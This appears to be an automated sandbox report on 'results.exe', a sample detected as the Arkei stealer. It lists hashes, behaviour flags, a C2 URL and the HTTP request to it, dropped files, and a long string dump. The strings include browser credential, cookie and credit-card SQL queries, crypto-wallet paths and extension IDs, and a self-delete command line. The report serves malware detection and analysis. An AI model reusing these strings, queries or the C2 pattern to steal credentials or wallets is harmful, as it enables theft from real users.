| File name: | results.exe |
| Full analysis: | https://app.any.run/tasks/e9a9c008-2dc8-4b44-8d7a-0f99779a840a |
| Verdict: | Malicious activity |
| Threats: | Arkei is a stealer type malware capable of collecting passwords, autosaved forms, cryptocurrency wallet credentials, and files. |
| Analysis date: | June 21, 2025, 21:48:53 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections |
| MD5: | 75331A2A320B80A5ABCF353E8990953C |
| SHA1: | 468576CE611E3E1C324D0BBDD52678ABEC7C7874 |
| SHA256: | 39C89F6D68AB171C2D939E194AF781DF185EFFC9069D27273EC96106A4F7EE26 |
| SSDEEP: | 3072:kTVRg/lGoxFabjlZWNtgd8A+k167venLwC5O4NUSehlaRcDue5YiqGrdq4dl+Cpl:kTVREGoxsbjf4AxehfDbl+i0n |
MALICIOUS
ARKEI has been detected (YARA)
- results.exe (PID: 4500)
SUSPICIOUS
Process requests binary or script from the Internet
- results.exe (PID: 4500)
Reads security settings of Internet Explorer
- results.exe (PID: 4500)
Executes application which crashes
- results.exe (PID: 4500)
Multiple wallet extension IDs have been found
- results.exe (PID: 4500)
INFO
Reads the computer name
- results.exe (PID: 4500)
Checks proxy server information
- results.exe (PID: 4500)
- slui.exe (PID: 4172)
- WerFault.exe (PID: 2664)
Reads the machine GUID from the registry
- results.exe (PID: 4500)
Creates files or folders in the user directory
- results.exe (PID: 4500)
- WerFault.exe (PID: 2664)
Reads the software policy settings
- results.exe (PID: 4500)
- WerFault.exe (PID: 2664)
- slui.exe (PID: 4172)
Checks supported languages
- results.exe (PID: 4500)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Arkei
(PID) Process(4500) results.exe
C2 (1)computernewb.comj/elijah/bw/bundle.jsX
Options
Mutex07903688652437406205
Strings (506)INSERT_KEY_HERE
LoadLibraryA
GetProcAddress
ExitProcess
advapi32.dll
crypt32.dll
GetTickCount
Sleep
GetUserDefaultLangID
CreateMutexA
GetLastError
HeapAlloc
GetProcessHeap
GetComputerNameA
VirtualProtect
GetCurrentProcess
VirtualAllocExNuma
GetUserNameA
CryptStringToBinaryA
HAL9TH
JohnDoe
07903688652437406205
Default
%hu/%hu/%hu %hu:%hu:%hu
open
/sqlite3.dll
C:\ProgramData\sqlite3.dll
/freebl3.dll
C:\ProgramData\freebl3.dll
/mozglue.dll
C:\ProgramData\mozglue.dll
/msvcp140.dll
C:\ProgramData\msvcp140.dll
/nss3.dll
C:\ProgramData\nss3.dll
/softokn3.dll
C:\ProgramData\softokn3.dll
/vcruntime140.dll
C:\ProgramData\vcruntime140.dll
.zip
Tag:
IP: IP?
Country: Country?
Working Path:
Local Time:
TimeZone:
Display Language:
Keyboard Languages:
Is Laptop:
Processor:
Installed RAM:
OS:
(
Bit)
Videocard:
Display Resolution:
PC name:
User name:
Domain name:
MachineID:
GUID:
Installed Software:
system.txt
Grabber\%s.zip
%APPDATA%
%LOCALAPPDATA%
%USERPROFILE%
%DESKTOP%
Wallets\
Ethereum
\Ethereum\
keystore
Electrum
\Electrum\wallets\
*.*
ElectrumLTC
\Electrum-LTC\wallets\
Exodus
\Exodus\
exodus.conf.json
window-state.json
\Exodus\exodus.wallet\
passphrase.json
seed.seco
info.seco
ElectronCash
\ElectronCash\wallets\
default_wallet
MultiDoge
\MultiDoge\
multidoge.wallet
JAXX
\jaxx\Local Storage\
file__0.localstorage
Atomic
\atomic\Local Storage\leveldb\
000003.log
CURRENT
LOCK
LOG
MANIFEST-000001
0000*
Binance
\Binance\
app-store.json
Coinomi
\Coinomi\Coinomi\wallets\
*.wallet
*.config
*wallet*.dat
GetSystemTime
lstrcatA
SystemTimeToFileTime
ntdll.dll
sscanf
memset
memcpy
wininet.dll
user32.dll
gdi32.dll
netapi32.dll
psapi.dll
bcrypt.dll
vaultcli.dll
shlwapi.dll
shell32.dll
gdiplus.dll
ole32.dll
dbghelp.dll
CreateFileA
WriteFile
CloseHandle
GetFileSize
lstrlenA
LocalAlloc
GlobalFree
ReadFile
OpenProcess
SetFilePointer
SetEndOfFile
GetCurrentProcessId
GetLocalTime
GetTimeZoneInformation
GetUserDefaultLocaleName
LocalFree
GetSystemPowerStatus
GetSystemInfo
GlobalMemoryStatusEx
IsWow64Process
GetTempPathA
GetLocaleInfoA
GetFileSizeEx
GetFileAttributesA
FindFirstFileA
FindNextFileA
FindClose
GetCurrentDirectoryA
CopyFileA
DeleteFileA
lstrcmpW
GlobalAlloc
FreeLibrary
SetCurrentDirectoryA
CreateFileMappingA
MapViewOfFile
UnmapViewOfFile
FileTimeToSystemTime
GetFileInformationByHandle
GlobalLock
GlobalSize
WideCharToMultiByte
GetWindowsDirectoryA
GetVolumeInformationA
GetVersionExA
GetModuleFileNameA
CreateFileW
CreateFileMappingW
MultiByteToWideChar
CreateThread
GetEnvironmentVariableA
SetEnvironmentVariableA
lstrcpyA
lstrcpynA
InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
InternetCloseHandle
InternetReadFile
InternetSetOptionA
InternetOpenUrlA
InternetCrackUrlA
wsprintfA
CharToOemW
GetKeyboardLayoutList
EnumDisplayDevicesA
ReleaseDC
GetDC
GetSystemMetrics
GetDesktopWindow
GetWindowRect
GetWindowDC
CloseWindow
RegOpenKeyExA
RegQueryValueExA
RegCloseKey
GetCurrentHwProfileA
RegEnumKeyExA
RegGetValueA
CreateDCA
GetDeviceCaps
CreateCompatibleDC
CreateCompatibleBitmap
SelectObject
BitBlt
DeleteObject
StretchBlt
GetObjectW
GetDIBits
SaveDC
CreateDIBSection
DeleteDC
RestoreDC
DsRoleGetPrimaryDomainInformation
GetModuleFileNameExA
CryptUnprotectData
BCryptCloseAlgorithmProvider
BCryptDestroyKey
BCryptOpenAlgorithmProvider
BCryptSetProperty
BCryptGenerateSymmetricKey
BCryptDecrypt
VaultOpenVault
VaultCloseVault
VaultEnumerateItems
VaultGetItemWin8
VaultGetItemWin7
VaultFree
StrCmpCA
StrStrA
PathMatchSpecA
SHGetFolderPathA
ShellExecuteExA
GdipGetImageEncodersSize
GdipGetImageEncoders
GdipCreateBitmapFromHBITMAP
GdiplusStartup
GdiplusShutdown
GdipSaveImageToStream
GdipDisposeImage
GdipFree
CreateStreamOnHGlobal
GetHGlobalFromStream
SymMatchString
HEAD
HTTP/1.1
GET
POST
file
Content-Type: multipart/form-data; boundary=----
Content-Disposition: form-data; name="
Content-Disposition: form-data; name="file"; filename="
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
SOFT:
PROF: ?
PROF:
HOST:
USER:
PASS:
sqlite3_open
sqlite3_prepare_v2
sqlite3_step
sqlite3_column_text
sqlite3_finalize
sqlite3_close
sqlite3_column_bytes
sqlite3_column_blob
encrypted_key
"}
PATH
PATH=
NSS_Init
NSS_Shutdown
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
SELECT origin_url, username_value, password_value FROM logins
Cookies\%s_%s.txt
SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
TRUE
FALSE
Autofill\%s_%s.txt
SELECT name, value FROM autofill
CC\%s_%s.txt
SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Card number:
Name on card:
Expiration date:
History\%s_%s.txt
SELECT url FROM urls
Downloads\%s_%s.txt
SELECT target_path, tab_url from downloads
Login Data
Cookies
Web Data
History
SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
logins.json
formSubmitURL
usernameField
encryptedUsername
encryptedPassword
guid
SELECT fieldname, value FROM moz_formhistory
SELECT url FROM moz_places
cookies.sqlite
formhistory.sqlite
places.sqlite
\Local State
..\profiles.ini
C:\ProgramData\
Chrome
\Google\Chrome\User Data
Chromium
\Chromium\User Data
Edge_Chromium
\Microsoft\Edge\User Data
Kometa
\Kometa\User Data
Amigo
\Amigo\User Data
Torch
\Torch\User Data
Orbitum
\Orbitum\User Data
Comodo
\Comodo\Dragon\User Data
Nichrome
\Nichrome\User Data
Maxthon5
\Maxthon5\Users
Sputnik
\Sputnik\User Data
EPB
\Epic Privacy Browser\User Data
Vivaldi
\Vivaldi\User Data
CocCoc
\CocCoc\Browser\User Data
Uran
\uCozMedia\Uran\User Data
QIP
\QIP Surf\User Data
Cent
\CentBrowser\User Data
Elements
\Elements Browser\User Data
TorBro
\TorBro\Profile
CryptoTab
\CryptoTab Browser\User Data
Brave
\BraveSoftware\Brave-Browser\User Data
Opera
\Opera Software\Opera Stable\
OperaGX
\Opera Software\Opera GX Stable\
OperaNeon
\Opera Software\Opera Neon\User Data
Firefox
\Mozilla\Firefox\Profiles\
SlimBrowser
\FlashPeak\SlimBrowser\Profiles\
PaleMoon
\Moonchild Productions\Pale Moon\Profiles\
Waterfox
\Waterfox\Profiles\
Cyberfox
\8pecxstudios\Cyberfox\Profiles\
BlackHawk
\NETGATE Technologies\BlackHawk\Profiles\
IceCat
\Mozilla\icecat\Profiles\
KMeleon
\K-Meleon\
Thunderbird
\Thunderbird\Profiles\
passwords.txt
ibnejdfjmmkpcnlpebklmnkoeoihofec
TronLink
nkbihfbeogaeaoehlefnkodbefgpgknn
MetaMask
fhbohimaelbohpjbbldcngcnapndodjp
Binance Chain Wallet
ffnbelfdoeiohenkjibnmadjiehjhajb
Yoroi
jbdaocneiiinmjbjlgalhcelgbejmnid
Nifty Wallet
afbcbjpbpfadlkmhmclhkeeodmamcflc
Math Wallet
hnfanknocfeofbddgcijnmhnfnkdnaad
Coinbase Wallet
hpglfhgfnhbgpjdenjgmdgoeiappafln
Guarda
blnieiiffboillknjnepogjhkgnoapac
EQUAL Wallet
cjelfplplebdjjenllpjcblmjkfcffne
Jaxx Liberty
fihkakfobkmkjojpchpfgcmhfjnmnfpi
BitApp Wallet
kncchdigobghenbbaddojjnnaogfppfj
iWallet
amkmjjmmflddogmhpjloimipbofnfjih
Wombat
nlbmnnijcnlegkjjpcfjclmcfggfefdm
MEW CX
nanjmdknhkinifnkgdcggcfnhdaammmj
GuildWallet
nkddgncdjgjfcddamfgcmfnlhccnimig
Saturn Wallet
fnjhmkhhmkbjkkabndcnnogagogbneec
Ronin Wallet
cphhlgmgameodnhkjdmkpanlelnlohao
NeoLine
nhnkbkgjikgcigadomkphalanndcapjk
Clover Wallet
kpfopkelmapcoipemfendmdcghnegimn
Liquality Wallet
aiifbnbfobpmeekipheeijimdpnlpgpp
Terra Station
dmkamcknogkgcdfhhbddcghachkejeap
Keplr
fhmfendgdocmcbmfikdcogofphimnkno
Sollet
cnmamaachppnkjgnildpdmkaakejnhae
Auro Wallet
jojhfeoedkpkglbfimdfabpdfjaoolaf
Polymesh Wallet
flpiciilemghbmfalicajoolhkkenfel
ICONex
nknhiehlklippafakaeklbeglecifhad
Nabox Wallet
hcflpincpppdclinealmandijcmnkbgn
KHC
ookjlbkiijinhpmnjffcofjonbfbgaoc
Temple
mnfifefkajgofkcjkemidiaecocnkjeh
TezBox
dkdedlpgdmmkkfjabffeganieamfklkm
Cyano Wallet
nlgbhdfgdhgbiamfdfmbikcdghidoadd
Byone
infeboajgfhgbjpjbeppbkgnabfdkdaf
OneKey
cihmoadaighcejopammfbmddcmdekcje
LeafWallet
lodccjjbdhfakaekdiahmedfbieldgik
DAppPlay
ijmpgkjfkbfhoebgogflfebnmejmfbml
BitClip
lkcjlnjfpbikmcmbachjpdbijejflpcm
Steem Keychain
onofpnbbkehpmmoabgpcpmigafmmnjhl
Nash Extension
bcopgchhojmggmffilplmbdicgaihlkp
Hycon Lite Client
klnaejjgbibmhlephnhpmaofohgkpgkd
ZilPay
aeachknmefphepccionboohckonoeemg
Coin98 Wallet
bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom
bhghoamapcdpbohphigoooaddinpkbai
Authenticator
gaedmjdfmmahhbjefcbgaolhhanlaolb
Authy
oeljdldpnmdbchonielidgobddffflal
EOS Authenticator
ilgcnhelpchnceeipipijaljkblbcobl
GAuth Authenticator
imloifkgjagghnncjkhggdhalmcnfklk
Trezor Password Manager
%s\%s\Local Extension Settings\%s
%s\CURRENT
%s\%s\Sync Extension Settings\%s
%s\%s\IndexedDB\chrome-extension_%s_0.indexeddb.leveldb
Plugins\
HARDWARE\DESCRIPTION\System\CentralProcessor\0
ProcessorNameString
SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName
x64
x86
DISPLAY
SOFTWARE\Microsoft\Cryptography
MachineGuid
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
DisplayName
DisplayVersion
screenshot.jpg
ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
/c timeout /t 5 & del /f /q "%s" & exit
C:\Windows\System32\cmd.exe
TRiD
| .dll | | | Win32 Dynamic Link Library (generic) (43.5) |
|---|---|---|
| .exe | | | Win32 Executable (generic) (29.8) |
| .exe | | | Generic Win/DOS Executable (13.2) |
| .exe | | | DOS Executable Generic (13.2) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2022:01:05 14:09:08+00:00 |
| ImageFileCharacteristics: | No relocs, Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 10 |
| CodeSize: | 77312 |
| InitializedDataSize: | 101376 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x2e084 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Total processes
142
Monitored processes
3
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2664 | C:\WINDOWS\SysWOW64\WerFault.exe -u -p 4500 -s 1888 | C:\Windows\SysWOW64\WerFault.exe | results.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Problem Reporting Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4172 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4500 | "C:\Users\admin\AppData\Local\Temp\results.exe" | C:\Users\admin\AppData\Local\Temp\results.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221225477 Modules
Arkei(PID) Process(4500) results.exe C2 (1)computernewb.comj/elijah/bw/bundle.jsX Options Mutex07903688652437406205 Strings (506)INSERT_KEY_HERE LoadLibraryA GetProcAddress ExitProcess advapi32.dll crypt32.dll GetTickCount Sleep GetUserDefaultLangID CreateMutexA GetLastError HeapAlloc GetProcessHeap GetComputerNameA VirtualProtect GetCurrentProcess VirtualAllocExNuma GetUserNameA CryptStringToBinaryA HAL9TH JohnDoe 07903688652437406205 Default %hu/%hu/%hu %hu:%hu:%hu open /sqlite3.dll C:\ProgramData\sqlite3.dll /freebl3.dll C:\ProgramData\freebl3.dll /mozglue.dll C:\ProgramData\mozglue.dll /msvcp140.dll C:\ProgramData\msvcp140.dll /nss3.dll C:\ProgramData\nss3.dll /softokn3.dll C:\ProgramData\softokn3.dll /vcruntime140.dll C:\ProgramData\vcruntime140.dll .zip Tag: IP: IP? Country: Country? Working Path: Local Time: TimeZone: Display Language: Keyboard Languages: Is Laptop: Processor: Installed RAM: OS: ( Bit) Videocard: Display Resolution: PC name: User name: Domain name: MachineID: GUID: Installed Software: system.txt Grabber\%s.zip %APPDATA% %LOCALAPPDATA% %USERPROFILE% %DESKTOP% Wallets\ Ethereum \Ethereum\ keystore Electrum \Electrum\wallets\ *.* ElectrumLTC \Electrum-LTC\wallets\ Exodus \Exodus\ exodus.conf.json window-state.json \Exodus\exodus.wallet\ passphrase.json seed.seco info.seco ElectronCash \ElectronCash\wallets\ default_wallet MultiDoge \MultiDoge\ multidoge.wallet JAXX \jaxx\Local Storage\ file__0.localstorage Atomic \atomic\Local Storage\leveldb\ 000003.log CURRENT LOCK LOG MANIFEST-000001 0000* Binance \Binance\ app-store.json Coinomi \Coinomi\Coinomi\wallets\ *.wallet *.config *wallet*.dat GetSystemTime lstrcatA SystemTimeToFileTime ntdll.dll sscanf memset memcpy wininet.dll user32.dll gdi32.dll netapi32.dll psapi.dll bcrypt.dll vaultcli.dll shlwapi.dll shell32.dll gdiplus.dll ole32.dll dbghelp.dll CreateFileA WriteFile CloseHandle GetFileSize lstrlenA LocalAlloc GlobalFree ReadFile OpenProcess SetFilePointer SetEndOfFile GetCurrentProcessId GetLocalTime GetTimeZoneInformation GetUserDefaultLocaleName LocalFree GetSystemPowerStatus GetSystemInfo GlobalMemoryStatusEx IsWow64Process GetTempPathA GetLocaleInfoA GetFileSizeEx GetFileAttributesA FindFirstFileA FindNextFileA FindClose GetCurrentDirectoryA CopyFileA DeleteFileA lstrcmpW GlobalAlloc FreeLibrary SetCurrentDirectoryA CreateFileMappingA MapViewOfFile UnmapViewOfFile FileTimeToSystemTime GetFileInformationByHandle GlobalLock GlobalSize WideCharToMultiByte GetWindowsDirectoryA GetVolumeInformationA GetVersionExA GetModuleFileNameA CreateFileW CreateFileMappingW MultiByteToWideChar CreateThread GetEnvironmentVariableA SetEnvironmentVariableA lstrcpyA lstrcpynA InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA HttpQueryInfoA InternetCloseHandle InternetReadFile InternetSetOptionA InternetOpenUrlA InternetCrackUrlA wsprintfA CharToOemW GetKeyboardLayoutList EnumDisplayDevicesA ReleaseDC GetDC GetSystemMetrics GetDesktopWindow GetWindowRect GetWindowDC CloseWindow RegOpenKeyExA RegQueryValueExA RegCloseKey GetCurrentHwProfileA RegEnumKeyExA RegGetValueA CreateDCA GetDeviceCaps CreateCompatibleDC CreateCompatibleBitmap SelectObject BitBlt DeleteObject StretchBlt GetObjectW GetDIBits SaveDC CreateDIBSection DeleteDC RestoreDC DsRoleGetPrimaryDomainInformation GetModuleFileNameExA CryptUnprotectData BCryptCloseAlgorithmProvider BCryptDestroyKey BCryptOpenAlgorithmProvider BCryptSetProperty BCryptGenerateSymmetricKey BCryptDecrypt VaultOpenVault VaultCloseVault VaultEnumerateItems VaultGetItemWin8 VaultGetItemWin7 VaultFree StrCmpCA StrStrA PathMatchSpecA SHGetFolderPathA ShellExecuteExA GdipGetImageEncodersSize GdipGetImageEncoders GdipCreateBitmapFromHBITMAP GdiplusStartup GdiplusShutdown GdipSaveImageToStream GdipDisposeImage GdipFree CreateStreamOnHGlobal GetHGlobalFromStream SymMatchString HEAD HTTP/1.1 GET POST file Content-Type: multipart/form-data; boundary=---- Content-Disposition: form-data; name=" Content-Disposition: form-data; name="file"; filename=" Content-Type: application/octet-stream Content-Transfer-Encoding: binary SOFT: PROF: ? PROF: HOST: USER: PASS: sqlite3_open sqlite3_prepare_v2 sqlite3_step sqlite3_column_text sqlite3_finalize sqlite3_close sqlite3_column_bytes sqlite3_column_blob encrypted_key "} PATH PATH= NSS_Init NSS_Shutdown PK11_GetInternalKeySlot PK11_FreeSlot PK11_Authenticate PK11SDR_Decrypt SELECT origin_url, username_value, password_value FROM logins Cookies\%s_%s.txt SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies TRUE FALSE Autofill\%s_%s.txt SELECT name, value FROM autofill CC\%s_%s.txt SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards Card number: Name on card: Expiration date: History\%s_%s.txt SELECT url FROM urls Downloads\%s_%s.txt SELECT target_path, tab_url from downloads Login Data Cookies Web Data History SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies logins.json formSubmitURL usernameField encryptedUsername encryptedPassword guid SELECT fieldname, value FROM moz_formhistory SELECT url FROM moz_places cookies.sqlite formhistory.sqlite places.sqlite \Local State ..\profiles.ini C:\ProgramData\ Chrome \Google\Chrome\User Data Chromium \Chromium\User Data Edge_Chromium \Microsoft\Edge\User Data Kometa \Kometa\User Data Amigo \Amigo\User Data Torch \Torch\User Data Orbitum \Orbitum\User Data Comodo \Comodo\Dragon\User Data Nichrome \Nichrome\User Data Maxthon5 \Maxthon5\Users Sputnik \Sputnik\User Data EPB \Epic Privacy Browser\User Data Vivaldi \Vivaldi\User Data CocCoc \CocCoc\Browser\User Data Uran \uCozMedia\Uran\User Data QIP \QIP Surf\User Data Cent \CentBrowser\User Data Elements \Elements Browser\User Data TorBro \TorBro\Profile CryptoTab \CryptoTab Browser\User Data Brave \BraveSoftware\Brave-Browser\User Data Opera \Opera Software\Opera Stable\ OperaGX \Opera Software\Opera GX Stable\ OperaNeon \Opera Software\Opera Neon\User Data Firefox \Mozilla\Firefox\Profiles\ SlimBrowser \FlashPeak\SlimBrowser\Profiles\ PaleMoon \Moonchild Productions\Pale Moon\Profiles\ Waterfox \Waterfox\Profiles\ Cyberfox \8pecxstudios\Cyberfox\Profiles\ BlackHawk \NETGATE Technologies\BlackHawk\Profiles\ IceCat \Mozilla\icecat\Profiles\ KMeleon \K-Meleon\ Thunderbird \Thunderbird\Profiles\ passwords.txt ibnejdfjmmkpcnlpebklmnkoeoihofec TronLink nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask fhbohimaelbohpjbbldcngcnapndodjp Binance Chain Wallet ffnbelfdoeiohenkjibnmadjiehjhajb Yoroi jbdaocneiiinmjbjlgalhcelgbejmnid Nifty Wallet afbcbjpbpfadlkmhmclhkeeodmamcflc Math Wallet hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase Wallet hpglfhgfnhbgpjdenjgmdgoeiappafln Guarda blnieiiffboillknjnepogjhkgnoapac EQUAL Wallet cjelfplplebdjjenllpjcblmjkfcffne Jaxx Liberty fihkakfobkmkjojpchpfgcmhfjnmnfpi BitApp Wallet kncchdigobghenbbaddojjnnaogfppfj iWallet amkmjjmmflddogmhpjloimipbofnfjih Wombat nlbmnnijcnlegkjjpcfjclmcfggfefdm MEW CX nanjmdknhkinifnkgdcggcfnhdaammmj GuildWallet nkddgncdjgjfcddamfgcmfnlhccnimig Saturn Wallet fnjhmkhhmkbjkkabndcnnogagogbneec Ronin Wallet cphhlgmgameodnhkjdmkpanlelnlohao NeoLine nhnkbkgjikgcigadomkphalanndcapjk Clover Wallet kpfopkelmapcoipemfendmdcghnegimn Liquality Wallet aiifbnbfobpmeekipheeijimdpnlpgpp Terra Station dmkamcknogkgcdfhhbddcghachkejeap Keplr fhmfendgdocmcbmfikdcogofphimnkno Sollet cnmamaachppnkjgnildpdmkaakejnhae Auro Wallet jojhfeoedkpkglbfimdfabpdfjaoolaf Polymesh Wallet flpiciilemghbmfalicajoolhkkenfel ICONex nknhiehlklippafakaeklbeglecifhad Nabox Wallet hcflpincpppdclinealmandijcmnkbgn KHC ookjlbkiijinhpmnjffcofjonbfbgaoc Temple mnfifefkajgofkcjkemidiaecocnkjeh TezBox dkdedlpgdmmkkfjabffeganieamfklkm Cyano Wallet nlgbhdfgdhgbiamfdfmbikcdghidoadd Byone infeboajgfhgbjpjbeppbkgnabfdkdaf OneKey cihmoadaighcejopammfbmddcmdekcje LeafWallet lodccjjbdhfakaekdiahmedfbieldgik DAppPlay ijmpgkjfkbfhoebgogflfebnmejmfbml BitClip lkcjlnjfpbikmcmbachjpdbijejflpcm Steem Keychain onofpnbbkehpmmoabgpcpmigafmmnjhl Nash Extension bcopgchhojmggmffilplmbdicgaihlkp Hycon Lite Client klnaejjgbibmhlephnhpmaofohgkpgkd ZilPay aeachknmefphepccionboohckonoeemg Coin98 Wallet bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom bhghoamapcdpbohphigoooaddinpkbai Authenticator gaedmjdfmmahhbjefcbgaolhhanlaolb Authy oeljdldpnmdbchonielidgobddffflal EOS Authenticator ilgcnhelpchnceeipipijaljkblbcobl GAuth Authenticator imloifkgjagghnncjkhggdhalmcnfklk Trezor Password Manager %s\%s\Local Extension Settings\%s %s\CURRENT %s\%s\Sync Extension Settings\%s %s\%s\IndexedDB\chrome-extension_%s_0.indexeddb.leveldb Plugins\ HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductName x64 x86 DISPLAY SOFTWARE\Microsoft\Cryptography MachineGuid SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall DisplayName DisplayVersion screenshot.jpg ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 /c timeout /t 5 & del /f /q "%s" & exit C:\Windows\System32\cmd.exe | |||||||||||||||
Total events
4 211
Read events
4 208
Write events
3
Delete events
0
Modification events
| (PID) Process: | (4500) results.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (4500) results.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (4500) results.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
Executable files
0
Suspicious files
11
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2664 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_results.exe_a45c611c5551619b83578a6d19d850c4cb8f7388_3892c696_9f0dbd81-41cd-4fa0-9cc0-f35c30895611\Report.wer | — | |
MD5:— | SHA256:— | |||
| 4500 | results.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:5C1BBE78A7D13AB4C35DC1CCAB5D9BBC | SHA256:BF66535833C34DC79BC4F9D9315B198732974016CDE7FACDC0B12DBAEF115503 | |||
| 4500 | results.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\bundle[1].htm | html | |
MD5:0104C301C5E02BD6148B8703D19B3A73 | SHA256:446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F | |||
| 2664 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\Temp\WER7AA0.tmp.xml | xml | |
MD5:19DB63D8FAE84DF98713C0F81044AF01 | SHA256:4425D3813FE1354FCC67865DA5B5722E3106C6ED60D3F8A62A8225724B9407EF | |||
| 2664 | WerFault.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\21253908F3CB05D51B1C2DA8B681A785 | binary | |
MD5:D310523737A0D4D05066857AC157F458 | SHA256:0A0520D498306689AFA3CAC09ACE82E09229108FC9FABA5A906291D077004484 | |||
| 2664 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A80.tmp.WERInternalMetadata.xml | xml | |
MD5:A58E71105FEB11DE02DBB154D8DE0723 | SHA256:C71190330CBDC8AFE3C9AAA41675E8864B1D7F384351EC69A7E10DA8C6CA480B | |||
| 2664 | WerFault.exe | C:\Users\admin\AppData\Local\CrashDumps\results.exe.4500.dmp | binary | |
MD5:9AD4E57790043D1C9AFAC0EC95563769 | SHA256:693FBCD548C4655D317AC3EC3068A71DF03E72B67C443F534D4ECEA7C62851DE | |||
| 2664 | WerFault.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\21253908F3CB05D51B1C2DA8B681A785 | binary | |
MD5:E45C9809D5E361A3CB36228EC83D0300 | SHA256:19BB8267A03DADF4C38F37EFD906C425F522234F83C1F075467A4AA65A360111 | |||
| 4500 | results.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8 | binary | |
MD5:1FBB37F79B317A9A248E7C4CE4F5BAC5 | SHA256:9BF639C595FE335B6F694EE35990BEFD2123F5E07FD1973FF619E3FC88F5F49F | |||
| 4500 | results.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:4A90329071AE30B759D279CCA342B0A6 | SHA256:4F544379EDA8E2653F71472AB968AEFD6B5D1F4B3CE28A5EDB14196184ED3B60 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
32
DNS requests
19
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4500 | results.exe | GET | 301 | 104.26.3.158:80 | http://computernewb.com/~elijah/bw/bundle.js | unknown | — | — | whitelisted |
2664 | WerFault.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4500 | results.exe | GET | 200 | 172.217.18.3:80 | http://c.pki.goog/r/r4.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4500 | results.exe | GET | 200 | 172.217.18.3:80 | http://c.pki.goog/r/gsr1.crl | unknown | — | — | whitelisted |
